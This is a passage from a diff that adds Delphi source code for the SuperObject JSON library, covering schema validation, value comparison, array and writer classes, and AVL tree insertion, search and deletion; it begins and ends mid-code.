o := p['inherit']; + if ObjectIsType(o, stString) then + begin + e := names.AsObject.Search(o.AsString); + if (e <> nil) then + GetInheritedFieldList(list, e.Value); + end; + end; + + function CheckEnum(o: ISuperObject; p: ISuperObject; name: SOString = ''): boolean; + var + enum: ISuperObject; + i: integer; + begin + Result := false; + enum := FindInheritedProperty('enum', p); + case ObjectGetType(enum) of + stArray: + for i := 0 to enum.AsArray.Length - 1 do + if (o.AsString = enum.AsArray[i].AsString) then + begin + Result := true; + exit; + end; + stNull: Result := true; + else + Result := false; + if assigned(callback) then + callback(sender, veRuleMalformated, ''); + Exit; + end; + + if (not Result) and assigned(callback) then + callback(sender, veValueNotInEnum, name); + end; + + function CheckLength(len: integer; p: ISuperObject; const objpath: SOString): boolean; + var + length, o: ISuperObject; + begin + result := true; + length := FindInheritedProperty('length', p); + case ObjectGetType(length) of + stObject: + begin + o := length.AsObject.GetO('min'); + if (o <> nil) and (o.AsInteger > len) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidLength, objpath); + end; + o := length.AsObject.GetO('max'); + if (o <> nil) and (o.AsInteger < len) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidLength, objpath); + end; + o := length.AsObject.GetO('minex'); + if (o <> nil) and (o.AsInteger >= len) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidLength, objpath); + end; + o := length.AsObject.GetO('maxex'); + if (o <> nil) and (o.AsInteger <= len) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidLength, objpath); + end; + end; + stNull: ; + else + Result := false; + if assigned(callback) then + callback(sender, veRuleMalformated, ''); + end; + end; + + function CheckRange(obj: ISuperObject; p: ISuperObject; const objpath: SOString): boolean; + var + length, o: ISuperObject; + begin + result := true; + length := FindInheritedProperty('range', p); + case ObjectGetType(length) of + stObject: + begin + o := length.AsObject.GetO('min'); + if (o <> nil) and (o.Compare(obj) = cpGreat) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidRange, objpath); + end; + o := length.AsObject.GetO('max'); + if (o <> nil) and (o.Compare(obj) = cpLess) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidRange, objpath); + end; + o := length.AsObject.GetO('minex'); + if (o <> nil) and (o.Compare(obj) in [cpGreat, cpEqu]) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidRange, objpath); + end; + o := length.AsObject.GetO('maxex'); + if (o <> nil) and (o.Compare(obj) in [cpLess, cpEqu]) then + begin + Result := false; + if assigned(callback) then + callback(sender, veInvalidRange, objpath); + end; + end; + stNull: ; + else + Result := false; + if assigned(callback) then + callback(sender, veRuleMalformated, ''); + end; + end; + + + function process(o: ISuperObject; p: ISuperObject; objpath: SOString = ''): boolean; + var + ite: TSuperAvlIterator; + ent: TSuperAvlEntry; + p2, o2, sequence: ISuperObject; + s: SOString; + i: integer; + uniquelist, fieldlist: ISuperObject; + begin + Result := true; + if (o = nil) then + begin + if getInheritedBool('required', p) then + begin + if assigned(callback) then + callback(sender, veFieldIsRequired, objpath); + result := false; + end; + end else + case FindDataType(p) of + dtStr: + case ObjectGetType(o) of + stString: + begin + Result := Result and CheckLength(Length(o.AsString), p, objpath); + Result := Result and CheckRange(o, p, objpath); + end; + else + if assigned(callback) then + callback(sender, veInvalidDataType, objpath); + result := false; + end; + dtBool: + case ObjectGetType(o) of + stBoolean: + begin + Result := Result and CheckRange(o, p, objpath); + end; + else + if assigned(callback) then + callback(sender, veInvalidDataType, objpath); + result := false; + end; + dtInt: + case ObjectGetType(o) of + stInt: + begin + Result := Result and CheckRange(o, p, objpath); + end; + else + if assigned(callback) then + callback(sender, veInvalidDataType, objpath); + result := false; + end; + dtFloat: + case ObjectGetType(o) of + stDouble, stCurrency: + begin + Result := Result and CheckRange(o, p, objpath); + end; + else + if assigned(callback) then + callback(sender, veInvalidDataType, objpath); + result := false; + end; + dtMap: + case ObjectGetType(o) of + stObject: + begin + // all objects have and match a rule ? + ite := TSuperAvlIterator.Create(o.AsObject); + try + ite.First; + ent := ite.GetIter; + while ent <> nil do + begin + p2 := FindInheritedField(ent.Name, p); + if ObjectIsType(p2, stObject) then + result := process(ent.Value, p2, objpath + '.' + ent.Name) and result else + begin + if assigned(callback) then + callback(sender, veUnexpectedField, objpath + '.' + ent.Name); + result := false; // field have no rule + end; + ite.Next; + ent := ite.GetIter; + end; + finally + ite.Free; + end; + + // all expected field exists ? + Result := InheritedFieldExist(o, p, objpath) and Result; + end; + stNull: {nop}; + else + result := false; + if assigned(callback) then + callback(sender, veRuleMalformated, objpath); + end; + dtSeq: + case ObjectGetType(o) of + stArray: + begin + sequence := FindInheritedProperty('sequence', p); + if sequence <> nil then + case ObjectGetType(sequence) of + stObject: + begin + for i := 0 to o.AsArray.Length - 1 do + result := process(o.AsArray.GetO(i), sequence, objpath + '[' + IntToStr(i) + ']') and result; + if getInheritedBool('unique', sequence) then + begin + // type is unique ? + uniquelist := TSuperObject.Create(stObject); + try + for i := 0 to o.AsArray.Length - 1 do + begin + s := o.AsArray.GetO(i).AsString; + if (s <> '') then + begin + if uniquelist.AsObject.Search(s) = nil then + uniquelist[s] := nil else + begin + Result := False; + if Assigned(callback) then + callback(sender, veDuplicateEntry, objpath + '[' + IntToStr(i) + ']'); + end; + end; + end; + finally + uniquelist := nil; + end; + end; + + // field is unique ? + if (FindDataType(sequence) = dtMap) then + begin + fieldlist := TSuperObject.Create(stObject); + try + GetInheritedFieldList(fieldlist, sequence); + ite := TSuperAvlIterator.Create(fieldlist.AsObject); + try + ite.First; + ent := ite.GetIter; + while ent <> nil do + begin + if getInheritedBool('unique', ent.Value) then + begin + uniquelist := TSuperObject.Create(stObject); + try + for i := 0 to o.AsArray.Length - 1 do + begin + o2 := o.AsArray.GetO(i); + if o2 <> nil then + begin + s := o2.AsObject.GetO(ent.Name).AsString; + if (s <> '') then + if uniquelist.AsObject.Search(s) = nil then + uniquelist[s] := nil else + begin + Result := False; + if Assigned(callback) then + callback(sender, veDuplicateEntry, objpath + '[' + IntToStr(i) + '].' + ent.name); + end; + end; + end; + finally + uniquelist := nil; + end; + end; + ite.Next; + ent := ite.GetIter; + end; + finally + ite.Free; + end; + finally + fieldlist := nil; + end; + end; + + + end; + stNull: {nop}; + else + result := false; + if assigned(callback) then + callback(sender, veRuleMalformated, objpath); + end; + Result := Result and CheckLength(o.AsArray.Length, p, objpath); + + end; + else + result := false; + if assigned(callback) then + callback(sender, veRuleMalformated, objpath); + end; + dtNumber: + case ObjectGetType(o) of + stInt, + stDouble, stCurrency: + begin + Result := Result and CheckRange(o, p, objpath); + end; + else + if assigned(callback) then + callback(sender, veInvalidDataType, objpath); + result := false; + end; + dtText: + case ObjectGetType(o) of + stInt, + stDouble, + stCurrency, + stString: + begin + result := result and CheckLength(Length(o.AsString), p, objpath); + Result := Result and CheckRange(o, p, objpath); + end; + else + if assigned(callback) then + callback(sender, veInvalidDataType, objpath); + result := false; + end; + dtScalar: + case ObjectGetType(o) of + stBoolean, + stDouble, + stCurrency, + stInt, + stString: + begin + result := result and CheckLength(Length(o.AsString), p, objpath); + Result := Result and CheckRange(o, p, objpath); + end; + else + if assigned(callback) then + callback(sender, veInvalidDataType, objpath); + result := false; + end; + dtAny:; + else + if assigned(callback) then + callback(sender, veRuleMalformated, objpath); + result := false; + end; + Result := Result and CheckEnum(o, p, objpath) + + end; +var + j: integer; + +begin + Result := False; + datatypes := TSuperObject.Create(stObject); + names := TSuperObject.Create; + try + datatypes.I['str'] := ord(dtStr); + datatypes.I['int'] := ord(dtInt); + datatypes.I['float'] := ord(dtFloat); + datatypes.I['number'] := ord(dtNumber); + datatypes.I['text'] := ord(dtText); + datatypes.I['bool'] := ord(dtBool); + datatypes.I['map'] := ord(dtMap); + datatypes.I['seq'] := ord(dtSeq); + datatypes.I['scalar'] := ord(dtScalar); + datatypes.I['any'] := ord(dtAny); + + if ObjectIsType(defs, stArray) then + for j := 0 to defs.AsArray.Length - 1 do + if ObjectIsType(defs.AsArray[j], stObject) then + GetNames(defs.AsArray[j]) else + begin + if assigned(callback) then + callback(sender, veRuleMalformated, ''); + Exit; + end; + + + if ObjectIsType(rules, stObject) then + GetNames(rules) else + begin + if assigned(callback) then + callback(sender, veRuleMalformated, ''); + Exit; + end; + + Result := process(self, rules); + + finally + datatypes := nil; + names := nil; + end; +end; + +function TSuperObject._AddRef: Integer; {$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; +begin + Result := InterlockedIncrement(FRefCount); +end; + +function TSuperObject._Release: Integer; {$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; +begin + Result := InterlockedDecrement(FRefCount); + if Result = 0 then + Destroy; +end; + +function TSuperObject.Compare(const str: SOString): TSuperCompareResult; +begin + Result := Compare(TSuperObject.ParseString(PSOChar(str), False)); +end; + +function TSuperObject.Compare(const obj: ISuperObject): TSuperCompareResult; + function GetIntCompResult(const i: int64): TSuperCompareResult; + begin + if i < 0 then result := cpLess else + if i = 0 then result := cpEqu else + Result := cpGreat; + end; + + function GetDblCompResult(const d: double): TSuperCompareResult; + begin + if d < 0 then result := cpLess else + if d = 0 then result := cpEqu else + Result := cpGreat; + end; + +begin + case DataType of + stBoolean: + case ObjectGetType(obj) of + stBoolean: Result := GetIntCompResult(ord(FO.c_boolean) - ord(obj.AsBoolean)); + stDouble: Result := GetDblCompResult(ord(FO.c_boolean) - obj.AsDouble); + stCurrency:Result := GetDblCompResult(ord(FO.c_boolean) - obj.AsCurrency); + stInt: Result := GetIntCompResult(ord(FO.c_boolean) - obj.AsInteger); + stString: Result := GetIntCompResult(StrComp(PSOChar(AsString), PSOChar(obj.AsString))); + else + Result := cpError; + end; + stDouble: + case ObjectGetType(obj) of + stBoolean: Result := GetDblCompResult(FO.c_double - ord(obj.AsBoolean)); + stDouble: Result := GetDblCompResult(FO.c_double - obj.AsDouble); + stCurrency:Result := GetDblCompResult(FO.c_double - obj.AsCurrency); + stInt: Result := GetDblCompResult(FO.c_double - obj.AsInteger); + stString: Result := GetIntCompResult(StrComp(PSOChar(AsString), PSOChar(obj.AsString))); + else + Result := cpError; + end; + stCurrency: + case ObjectGetType(obj) of + stBoolean: Result := GetDblCompResult(FO.c_currency - ord(obj.AsBoolean)); + stDouble: Result := GetDblCompResult(FO.c_currency - obj.AsDouble); + stCurrency:Result := GetDblCompResult(FO.c_currency - obj.AsCurrency); + stInt: Result := GetDblCompResult(FO.c_currency - obj.AsInteger); + stString: Result := GetIntCompResult(StrComp(PSOChar(AsString), PSOChar(obj.AsString))); + else + Result := cpError; + end; + stInt: + case ObjectGetType(obj) of + stBoolean: Result := GetIntCompResult(FO.c_int - ord(obj.AsBoolean)); + stDouble: Result := GetDblCompResult(FO.c_int - obj.AsDouble); + stCurrency:Result := GetDblCompResult(FO.c_int - obj.AsCurrency); + stInt: Result := GetIntCompResult(FO.c_int - obj.AsInteger); + stString: Result := GetIntCompResult(StrComp(PSOChar(AsString), PSOChar(obj.AsString))); + else + Result := cpError; + end; + stString: + case ObjectGetType(obj) of + stBoolean, + stDouble, + stCurrency, + stInt, + stString: Result := GetIntCompResult(StrComp(PSOChar(AsString), PSOChar(obj.AsString))); + else + Result := cpError; + end; + else + Result := cpError; + end; +end; + +{$IFDEF SUPER_METHOD} +function TSuperObject.AsMethod: TSuperMethod; +begin + if FDataType = stMethod then + Result := FO.c_method else + Result := nil; +end; +{$ENDIF} + +{$IFDEF SUPER_METHOD} +constructor TSuperObject.Create(m: TSuperMethod); +begin + Create(stMethod); + FO.c_method := m; +end; +{$ENDIF} + +{$IFDEF SUPER_METHOD} +function TSuperObject.GetM(const path: SOString): TSuperMethod; +var + v: ISuperObject; +begin + v := ParseString(PSOChar(path), False, True, Self); + if (v <> nil) and (ObjectGetType(v) = stMethod) then + Result := v.AsMethod else + Result := nil; +end; +{$ENDIF} + +{$IFDEF SUPER_METHOD} +procedure TSuperObject.PutM(const path: SOString; Value: TSuperMethod); +begin + ParseString(PSOChar(path), False, True, Self, [foCreatePath, foPutValue], TSuperObject.Create(Value)); +end; +{$ENDIF} + +{$IFDEF SUPER_METHOD} +function TSuperObject.call(const path: SOString; const param: ISuperObject): ISuperObject; +begin + Result := ParseString(PSOChar(path), False, True, Self, [foCallMethod], param); +end; +{$ENDIF} + +{$IFDEF SUPER_METHOD} +function TSuperObject.call(const path, param: SOString): ISuperObject; +begin + Result := ParseString(PSOChar(path), False, True, Self, [foCallMethod], TSuperObject.ParseString(PSOChar(param), False)); +end; +{$ENDIF} + +function TSuperObject.GetProcessing: boolean; +begin + Result := FProcessing; +end; + +procedure TSuperObject.SetDataPtr(const Value: Pointer); +begin + FDataPtr := Value; +end; + +procedure TSuperObject.SetProcessing(value: boolean); +begin + FProcessing := value; +end; + +{ TSuperArray } + +function TSuperArray.Add(const Data: ISuperObject): Integer; +begin + Result := FLength; + PutO(Result, data); +end; + +function TSuperArray.Add(Data: SuperInt): Integer; +begin + Result := Add(TSuperObject.Create(Data)); +end; + +function TSuperArray.Add(const Data: SOString): Integer; +begin + Result := Add(TSuperObject.Create(Data)); +end; + +function TSuperArray.Add(Data: Boolean): Integer; +begin + Result := Add(TSuperObject.Create(Data)); +end; + +function TSuperArray.Add(Data: Double): Integer; +begin + Result := Add(TSuperObject.Create(Data)); +end; + +function TSuperArray.AddC(const Data: Currency): Integer; +begin + Result := Add(TSuperObject.CreateCurrency(Data)); +end; + +function TSuperArray.Delete(index: Integer): ISuperObject; +begin + if (Index >= 0) and (Index < FLength) then + begin + Result := FArray^[index]; + FArray^[index] := nil; + Dec(FLength); + if Index < FLength then + begin + Move(FArray^[index + 1], FArray^[index], + (FLength - index) * SizeOf(Pointer)); + Pointer(FArray^[FLength]) := nil; + end; + end; +end; + +procedure TSuperArray.Insert(index: Integer; const value: ISuperObject); +begin + if (Index >= 0) then + if (index < FLength) then + begin + if FLength = FSize then + Expand(index); + if Index < FLength then + Move(FArray^[index], FArray^[index + 1], + (FLength - index) * SizeOf(Pointer)); + Pointer(FArray^[index]) := nil; + FArray^[index] := value; + Inc(FLength); + end else + PutO(index, value); +end; + +procedure TSuperArray.Clear(all: boolean); +var + j: Integer; +begin + for j := 0 to FLength - 1 do + if FArray^[j] <> nil then + begin + if all then + FArray^[j].Clear(all); + FArray^[j] := nil; + end; + FLength := 0; +end; + +procedure TSuperArray.Pack(all: boolean); +var + PackedCount, StartIndex, EndIndex, j: Integer; +begin + if FLength > 0 then + begin + PackedCount := 0; + StartIndex := 0; + repeat + while (StartIndex < FLength) and (FArray^[StartIndex] = nil) do + Inc(StartIndex); + if StartIndex < FLength then + begin + EndIndex := StartIndex; + while (EndIndex < FLength) and (FArray^[EndIndex] <> nil) do + Inc(EndIndex); + + Dec(EndIndex); + + if StartIndex > PackedCount then + Move(FArray^[StartIndex], FArray^[PackedCount], (EndIndex - StartIndex + 1) * SizeOf(Pointer)); + + Inc(PackedCount, EndIndex - StartIndex + 1); + StartIndex := EndIndex + 1; + end; + until StartIndex >= FLength; + FillChar(FArray^[PackedCount], (FLength - PackedCount) * sizeof(Pointer), 0); + FLength := PackedCount; + if all then + for j := 0 to FLength - 1 do + FArray^[j].Pack(all); + end; +end; + +constructor TSuperArray.Create; +begin + inherited Create; + FSize := SUPER_ARRAY_LIST_DEFAULT_SIZE; + FLength := 0; + GetMem(FArray, sizeof(Pointer) * FSize); + FillChar(FArray^, sizeof(Pointer) * FSize, 0); +end; + +destructor TSuperArray.Destroy; +begin + Clear; + FreeMem(FArray); + inherited; +end; + +procedure TSuperArray.Expand(max: Integer); +var + new_size: Integer; +begin + if (max < FSize) then + Exit; + if max < (FSize shl 1) then + new_size := (FSize shl 1) else + new_size := max + 1; + ReallocMem(FArray, new_size * sizeof(Pointer)); + FillChar(FArray^[FSize], (new_size - FSize) * sizeof(Pointer), 0); + FSize := new_size; +end; + +function TSuperArray.GetO(const index: Integer): ISuperObject; +begin + if(index >= FLength) then + Result := nil else + Result := FArray^[index]; +end; + +function TSuperArray.GetB(const index: integer): Boolean; +var + obj: ISuperObject; +begin + obj := GetO(index); + if obj <> nil then + Result := obj.AsBoolean else + Result := false; +end; + +function TSuperArray.GetD(const index: integer): Double; +var + obj: ISuperObject; +begin + obj := GetO(index); + if obj <> nil then + Result := obj.AsDouble else + Result := 0.0; +end; + +function TSuperArray.GetI(const index: integer): SuperInt; +var + obj: ISuperObject; +begin + obj := GetO(index); + if obj <> nil then + Result := obj.AsInteger else + Result := 0; +end; + +function TSuperArray.GetS(const index: integer): SOString; +var + obj: ISuperObject; +begin + obj := GetO(index); + if obj <> nil then + Result := obj.AsString else + Result := ''; +end; + +procedure TSuperArray.PutO(const index: Integer; const Value: ISuperObject); +begin + Expand(index); + FArray^[index] := value; + if(FLength <= index) then FLength := index + 1; +end; + +function TSuperArray.GetN(const index: integer): ISuperObject; +begin + Result := GetO(index); + if Result = nil then + Result := TSuperObject.Create(stNull); +end; + +procedure TSuperArray.PutN(const index: integer; const Value: ISuperObject); +begin + if Value <> nil then + PutO(index, Value) else + PutO(index, TSuperObject.Create(stNull)); +end; + +procedure TSuperArray.PutB(const index: integer; Value: Boolean); +begin + PutO(index, TSuperObject.Create(Value)); +end; + +procedure TSuperArray.PutD(const index: integer; Value: Double); +begin + PutO(index, TSuperObject.Create(Value)); +end; + +function TSuperArray.GetC(const index: integer): Currency; +var + obj: ISuperObject; +begin + obj := GetO(index); + if obj <> nil then + Result := obj.AsCurrency else + Result := 0.0; +end; + +procedure TSuperArray.PutC(const index: integer; Value: Currency); +begin + PutO(index, TSuperObject.CreateCurrency(Value)); +end; + +procedure TSuperArray.PutI(const index: integer; Value: SuperInt); +begin + PutO(index, TSuperObject.Create(Value)); +end; + +procedure TSuperArray.PutS(const index: integer; const Value: SOString); +begin + PutO(index, TSuperObject.Create(Value)); +end; + +{$IFDEF SUPER_METHOD} +function TSuperArray.GetM(const index: integer): TSuperMethod; +var + v: ISuperObject; +begin + v := GetO(index); + if (ObjectGetType(v) = stMethod) then + Result := v.AsMethod else + Result := nil; +end; +{$ENDIF} + +{$IFDEF SUPER_METHOD} +procedure TSuperArray.PutM(const index: integer; Value: TSuperMethod); +begin + PutO(index, TSuperObject.Create(Value)); +end; +{$ENDIF} + +{ TSuperWriterString } + +function TSuperWriterString.Append(buf: PSOChar; Size: Integer): Integer; + function max(a, b: Integer): integer; begin if a > b then Result := a else Result := b end; +begin + Result := size; + if Size > 0 then + begin + if (FSize - FBPos <= size) then + begin + FSize := max(FSize * 2, FBPos + size + 8); + ReallocMem(FBuf, FSize * SizeOf(SOChar)); + end; + // fast move + case size of + 1: FBuf[FBPos] := buf^; + 2: PInteger(@FBuf[FBPos])^ := PInteger(buf)^; + 4: PInt64(@FBuf[FBPos])^ := PInt64(buf)^; + else + move(buf^, FBuf[FBPos], size * SizeOf(SOChar)); + end; + inc(FBPos, size); + FBuf[FBPos] := #0; + end; +end; + +function TSuperWriterString.Append(buf: PSOChar): Integer; +begin + Result := Append(buf, strlen(buf)); +end; + +constructor TSuperWriterString.Create; +begin + inherited; + FSize := 32; + FBPos := 0; + GetMem(FBuf, FSize * SizeOf(SOChar)); +end; + +destructor TSuperWriterString.Destroy; +begin + inherited; + if FBuf <> nil then + FreeMem(FBuf) +end; + +function TSuperWriterString.GetString: SOString; +begin + SetString(Result, FBuf, FBPos); +end; + +procedure TSuperWriterString.Reset; +begin + FBuf[0] := #0; + FBPos := 0; +end; + +procedure TSuperWriterString.TrimRight; +begin + while (FBPos > 0) and (FBuf[FBPos-1] < #256) and (AnsiChar(FBuf[FBPos-1]) in [#32, #13, #10]) do + begin + dec(FBPos); + FBuf[FBPos] := #0; + end; +end; + +{ TSuperWriterStream } + +function TSuperWriterStream.Append(buf: PSOChar): Integer; +begin + Result := Append(buf, StrLen(buf)); +end; + +constructor TSuperWriterStream.Create(AStream: TStream); +begin + inherited Create; + FStream := AStream; +end; + +procedure TSuperWriterStream.Reset; +begin + FStream.Size := 0; +end; + +{ TSuperWriterStream } + +function TSuperAnsiWriterStream.Append(buf: PSOChar; Size: Integer): Integer; +var + Buffer: array[0..1023] of AnsiChar; + pBuffer: PAnsiChar; + i: Integer; +begin + if Size = 1 then + Result := FStream.Write(buf^, Size) else + begin + if Size > SizeOf(Buffer) then + GetMem(pBuffer, Size) else + pBuffer := @Buffer; + try + for i := 0 to Size - 1 do + pBuffer[i] := AnsiChar(buf[i]); + Result := FStream.Write(pBuffer^, Size); + finally + if pBuffer <> @Buffer then + FreeMem(pBuffer); + end; + end; +end; + +{ TSuperUnicodeWriterStream } + +function TSuperUnicodeWriterStream.Append(buf: PSOChar; Size: Integer): Integer; +begin + Result := FStream.Write(buf^, Size * 2); +end; + +{ TSuperWriterFake } + +function TSuperWriterFake.Append(buf: PSOChar; Size: Integer): Integer; +begin + inc(FSize, Size); + Result := FSize; +end; + +function TSuperWriterFake.Append(buf: PSOChar): Integer; +begin + inc(FSize, Strlen(buf)); + Result := FSize; +end; + +constructor TSuperWriterFake.Create; +begin + inherited Create; + FSize := 0; +end; + +procedure TSuperWriterFake.Reset; +begin + FSize := 0; +end; + +{ TSuperTokenizer } + +constructor TSuperTokenizer.Create; +begin + pb := TSuperWriterString.Create; + line := 1; + col := 0; + Reset; +end; + +destructor TSuperTokenizer.Destroy; +begin + Reset; + pb.Free; + inherited; +end; + +procedure TSuperTokenizer.Reset; +var + i: integer; +begin + for i := depth downto 0 do + ResetLevel(i); + depth := 0; + err := teSuccess; +end; + +procedure TSuperTokenizer.ResetLevel(adepth: integer); +begin + stack[adepth].state := tsEatws; + stack[adepth].saved_state := tsStart; + stack[adepth].current := nil; + stack[adepth].field_name := ''; + stack[adepth].obj := nil; + stack[adepth].parent := nil; + stack[adepth].gparent := nil; +end; + +{ TSuperAvlTree } + +constructor TSuperAvlTree.Create; +begin + FRoot := nil; + FCount := 0; +end; + +destructor TSuperAvlTree.Destroy; +begin + Clear; + inherited; +end; + +function TSuperAvlTree.IsEmpty: boolean; +begin + result := FRoot = nil; +end; + +function TSuperAvlTree.balance(bal: TSuperAvlEntry): TSuperAvlEntry; +var + deep, old: TSuperAvlEntry; + bf: integer; +begin + if (bal.FBf > 0) then + begin + deep := bal.FGt; + if (deep.FBf < 0) then + begin + old := bal; + bal := deep.FLt; + old.FGt := bal.FLt; + deep.FLt := bal.FGt; + bal.FLt := old; + bal.FGt := deep; + bf := bal.FBf; + if (bf <> 0) then + begin + if (bf > 0) then + begin + old.FBf := -1; + deep.FBf := 0; + end else + begin + deep.FBf := 1; + old.FBf := 0; + end; + bal.FBf := 0; + end else + begin + old.FBf := 0; + deep.FBf := 0; + end; + end else + begin + bal.FGt := deep.FLt; + deep.FLt := bal; + if (deep.FBf = 0) then + begin + deep.FBf := -1; + bal.FBf := 1; + end else + begin + deep.FBf := 0; + bal.FBf := 0; + end; + bal := deep; + end; + end else + begin + (* "Less than" subtree is deeper. *) + + deep := bal.FLt; + if (deep.FBf > 0) then + begin + old := bal; + bal := deep.FGt; + old.FLt := bal.FGt; + deep.FGt := bal.FLt; + bal.FGt := old; + bal.FLt := deep; + + bf := bal.FBf; + if (bf <> 0) then + begin + if (bf < 0) then + begin + old.FBf := 1; + deep.FBf := 0; + end else + begin + deep.FBf := -1; + old.FBf := 0; + end; + bal.FBf := 0; + end else + begin + old.FBf := 0; + deep.FBf := 0; + end; + end else + begin + bal.FLt := deep.FGt; + deep.FGt := bal; + if (deep.FBf = 0) then + begin + deep.FBf := 1; + bal.FBf := -1; + end else + begin + deep.FBf := 0; + bal.FBf := 0; + end; + bal := deep; + end; + end; + Result := bal; +end; + +function TSuperAvlTree.Insert(h: TSuperAvlEntry): TSuperAvlEntry; +var + unbal, parentunbal, hh, parent: TSuperAvlEntry; + depth, unbaldepth: longint; + cmp: integer; + unbalbf: integer; + branch: TSuperAvlBitArray; + p: Pointer; +begin + inc(FCount); + h.FLt := nil; + h.FGt := nil; + h.FBf := 0; + branch := []; + + if (FRoot = nil) then + FRoot := h + else + begin + unbal := nil; + parentunbal := nil; + depth := 0; + unbaldepth := 0; + hh := FRoot; + parent := nil; + repeat + if (hh.FBf <> 0) then + begin + unbal := hh; + parentunbal := parent; + unbaldepth := depth; + end; + if hh.FHash <> h.FHash then + begin + if hh.FHash < h.FHash then cmp := -1 else + if hh.FHash > h.FHash then cmp := 1 else + cmp := 0; + end else + cmp := CompareNodeNode(h, hh); + if (cmp = 0) then + begin + Result := hh; + //exchange data + p := hh.Ptr; + hh.FPtr := h.Ptr; + h.FPtr := p; + doDeleteEntry(h, false); + dec(FCount); + exit; + end; + parent := hh; + if (cmp > 0) then + begin + hh := hh.FGt; + include(branch, depth); + end else + begin + hh := hh.FLt; + exclude(branch, depth); + end; + inc(depth); + until (hh = nil); + + if (cmp < 0) then + parent.FLt := h else + parent.FGt := h; + + depth := unbaldepth; + + if (unbal = nil) then + hh := FRoot + else + begin + if depth in branch then + cmp := 1 else + cmp := -1; + inc(depth); + unbalbf := unbal.FBf; + if (cmp < 0) then + dec(unbalbf) else + inc(unbalbf); + if cmp < 0 then + hh := unbal.FLt else + hh := unbal.FGt; + if ((unbalbf <> -2) and (unbalbf <> 2)) then + begin + unbal.FBf := unbalbf; + unbal := nil; + end; + end; + + if (hh <> nil) then + while (h <> hh) do + begin + if depth in branch then + cmp := 1 else + cmp := -1; + inc(depth); + if (cmp < 0) then + begin + hh.FBf := -1; + hh := hh.FLt; + end else (* cmp > 0 *) + begin + hh.FBf := 1; + hh := hh.FGt; + end; + end; + + if (unbal <> nil) then + begin + unbal := balance(unbal); + if (parentunbal = nil) then + FRoot := unbal + else + begin + depth := unbaldepth - 1; + if depth in branch then + cmp := 1 else + cmp := -1; + if (cmp < 0) then + parentunbal.FLt := unbal else + parentunbal.FGt := unbal; + end; + end; + end; + result := h; +end; + +function TSuperAvlTree.Search(const k: SOString; st: TSuperAvlSearchTypes): TSuperAvlEntry; +var + cmp, target_cmp: integer; + match_h, h: TSuperAvlEntry; + ha: Cardinal; +begin + ha := TSuperAvlEntry.Hash(k); + + match_h := nil; + h := FRoot; + + if (stLess in st) then + target_cmp := 1 else + if (stGreater in st) then + target_cmp := -1 else + target_cmp := 0; + + while (h <> nil) do + begin + if h.FHash < ha then cmp := -1 else + if h.FHash > ha then cmp := 1 else + cmp := 0; + + if cmp = 0 then + cmp := CompareKeyNode(PSOChar(k), h); + if (cmp = 0) then + begin + if (stEqual in st) then + begin + match_h := h; + break; + end; + cmp := -target_cmp; + end + else + if (target_cmp <> 0) then + if ((cmp xor target_cmp) and SUPER_AVL_MASK_HIGH_BIT) = 0 then + match_h := h; + if cmp < 0 then + h := h.FLt else + h := h.FGt; + end; + result := match_h; +end; + +function TSuperAvlTree.Delete(const k: SOString): ISuperObject; +var + depth, rm_depth: longint; + branch: TSuperAvlBitArray; + h, parent, child, path, rm, parent_rm: TSuperAvlEntry; + cmp, cmp_shortened_sub_with_path, reduced_depth, bf: integer; + ha: Cardinal; +begin + ha := TSuperAvlEntry.Hash(k); + cmp_shortened_sub_with_path := 0; + branch := []; + + depth := 0; + h := FRoot; + parent := nil; + while true do + begin + if (h = nil) then + exit; + if h.FHash < ha then cmp := -1 else + if h.FHash > ha then cmp := 1 else + cmp := 0; + + if cmp = 0 then + cmp := CompareKeyNode(k, h); + if (cmp = 0) then + break; + parent := h; + if (cmp > 0) then + begin + h := h.FGt; + include(branch, depth) + end else + begin + h := h.FLt; + exclude(branch, depth) + end; + inc(depth); + cmp_shortened_sub_with_path := cmp; + end; + rm := h; + parent_rm := parent; + rm_depth := depth; + + if (h.FBf < 0) then + begin + child := h.FLt; + exclude(branch, depth); + cmp := -1; + end else + begin + child := h.FGt; + include(branch, depth); + cmp := 1; + end; + inc(depth); + + if (child <> nil) then + begin + cmp := -cmp; + repeat + parent := h; + h := child; + if (cmp < 0) then + begin + child := h.FLt; + exclude(branch, depth); + end else + begin + child := h.FGt; + include(branch, depth); + end; + inc(depth); + until (child = nil); + + if (parent = rm) then + cmp_shortened_sub_with_path := -cmp else + cmp_shortened_sub_with_path := cmp; + + if cmp > 0 then + child := h.FLt else + child := h.FGt; + end; + + if (parent = nil) then + FRoot := child else + if (cmp_shortened_sub_with_path < 0) then + parent.FLt := child else + parent.FGt := child; + + if parent = rm then + path := h else + path := parent; + + if (h <> rm) then + begin + h.FLt := rm.FLt; + h.FGt := rm.FGt; + h.FBf := rm.FBf; + if (parent_rm = nil) then + FRoot := h + else + begin + depth := rm_depth - 1; + if (depth in branch) then + parent_rm.FGt := h else + parent_rm.FLt := h; + end; + end; + + if (path <> nil) then + begin + h := FRoot; + parent := nil; + depth := 0; + while (h <> path) do + begin + if (depth in branch) then + begin + child := h.FGt; + h.FGt := parent; + end else + begin + child := h.FLt; + h.FLt := parent; + end; + inc(depth); + parent := h; + h := child; + end; + + reduced_depth := 1; + cmp := cmp_shortened_sub_with_path; + while true do + begin + if (reduced_depth <> 0) then + begin + bf := h.FBf; + if (cmp < 0) then + inc(bf) else + dec(bf); + if ((bf = -2) or (bf = 2)) then + begin + h := balance(h); + bf := h.FBf; + end else + h.FBf := bf; + reduced_depth := integer(bf = 0); + end; + if (parent = nil) then + break; + child := h; + h := parent; + dec(depth); + if depth in branch then + cmp := 1 else + cmp := -1; + if (cmp < 0) then + begin + parent := h.FLt; + h.FLt := child; + end else + begin + parent := h.FGt; + h.FGt := child; + end; + end; + FRoot := h; + end; + if rm <> nil then + begin + Result := rm.GetValue; + doDeleteEntry(rm, false); + dec(FCount); + end; +end; + +procedure TSuperAvlTree.Pack(all: boolean); +var + node1, node2: TSuperAvlEntry; + list: TList; + i: Integer; +begin + node1 := FRoot; + list := TList.Create; + while node1 <> nil do + begin + if (node1.FLt = nil) then + 